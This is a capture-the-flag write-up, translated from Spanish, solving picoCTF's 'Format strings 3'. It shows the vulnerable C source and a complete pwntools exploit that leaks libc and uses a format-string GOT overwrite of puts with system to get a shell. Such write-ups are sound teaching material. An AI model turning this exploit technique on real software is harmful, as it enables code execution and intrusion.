This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Format strings 3

pico
pwn

July 19, 20254 minutes

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};

	setup();
	hello();	

	fgets(buf, 1024, stdin);	
	printf(buf);

	puts(normal_string);

	return 0;
}

Inside the main function, the hello function is called, and what it does is print the address of setvbuf.

$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fbd196e53f0

Subtracting the offset of setvbuf from that address gives us the libc base address. To get that address at runtime, I automated the process with the following script

#!/usr/bin/env python3

from pwn import *

exe = ELF("./format-string-3_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("rhea.picoctf.net", 63663)

    return r


def main():
    r = conn()

    output = r.recvline()
    output = r.recvline()
    output = output.split(b"Okay I'll be nice. Here's the address of setvbuf in libc: ")[1].strip(b'\n')
    output = int(output, 16)
    print(f"Leak setvbuf: {hex(output)}")
    base_libc = output - libc.symbols['setvbuf']
    print(f"Base libc: {hex(base_libc)}")
    r.interactive()


if __name__ == "__main__":
    main()
[d3bo@archlinux format_strings_3]$ python3 solve.py LOCAL

Leak setvbuf: 0x7f7fa2c943f0
Base libc: 0x7f7fa2c1a000

Later on, the program asks for input, which it then prints with printf without specifying the type, making it vulnerable to format strings.

Finally, the program calls puts with /bin/sh

char *normal_string = "/bin/sh";
....
	puts(normal_string);

The goal seems clear: use the format string to overwrite the GOT so that calling puts is like calling system; that way, instead of printing /bin/sh, it will execute it. Note that this wouldn’t be possible with Full RELRO, but in this case it has Partial RELRO

[*] '/home/d3bo/Desktop/ctf/pico/format_strings_3/format-string-3_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fd000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

To apply this technique, we first need to find at which printf argument position the input is located. To do so, we can send a string like “AAAAAAA %p %p %p …” and look for the position where the value 0x4141414141414141 appears, which represents the “A"s in hex. This tells us the offset at which our input leaks from the stack.

[d3bo@archlinux format_strings_3]$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fc57bf673f0
AAAAAAAA  %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAA  0x7fc57c0c5963 0xfbad208b 0x7ffcfec242e0 0x1 (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) 0x4141414141414141 0x2070252070252020 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070
/bin/sh

Next we need the address of system

libc.address = base_libc
system = libc.sym["system"]

That system address has to be written to the address of puts in the GOT, which we can get with:

exe.got['puts']

To craft the final payload I used the pwntools function fmtstr_payload, which takes the offset, the address of puts and the address of system.

    payload = fmtstr_payload(38, {puts : system})

Once the payload is crafted, all that’s left is to send it

    r.sendline(payload)
    r.interactive()
[d3bo@archlinux format_strings_3]$ python3 solve.py LOCAL

Leak setvbuf: 0x7f911b8393f0
Base libc: 0x7f911b7bf000
System addr: 0x7f911b80e760
[*] Switching to interactive mode
                                                                                               c                              \x8bc                \x90                                                                                     \x01                                                   \x00a\x18@@$                                            l                                                                                                                                                                                                                                                                                                                                                         
$ whoami
d3bo
$

Final script

#!/usr/bin/env python3

from pwn import *

exe = ELF("./format-string-3_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("rhea.picoctf.net", 63663)

    return r


def main():
    r = conn()

    output = r.recvline()
    output = r.recvline()
    output = output.split(b"Okay I'll be nice. Here's the address of setvbuf in libc: ")[1].strip(b'\n')
    output = int(output, 16)
    print(f"Leak setvbuf: {hex(output)}")
    base_libc = output - libc.symbols['setvbuf']
    libc.address = base_libc
    system = libc.sym["system"]
    print(f"Base libc: {hex(base_libc)}")
    print(f"System addr: {hex(system)}")
    puts = exe.got['puts']

    payload = fmtstr_payload(38, {puts : system})
    r.sendline(payload)
    r.interactive()


if __name__ == "__main__":
    main()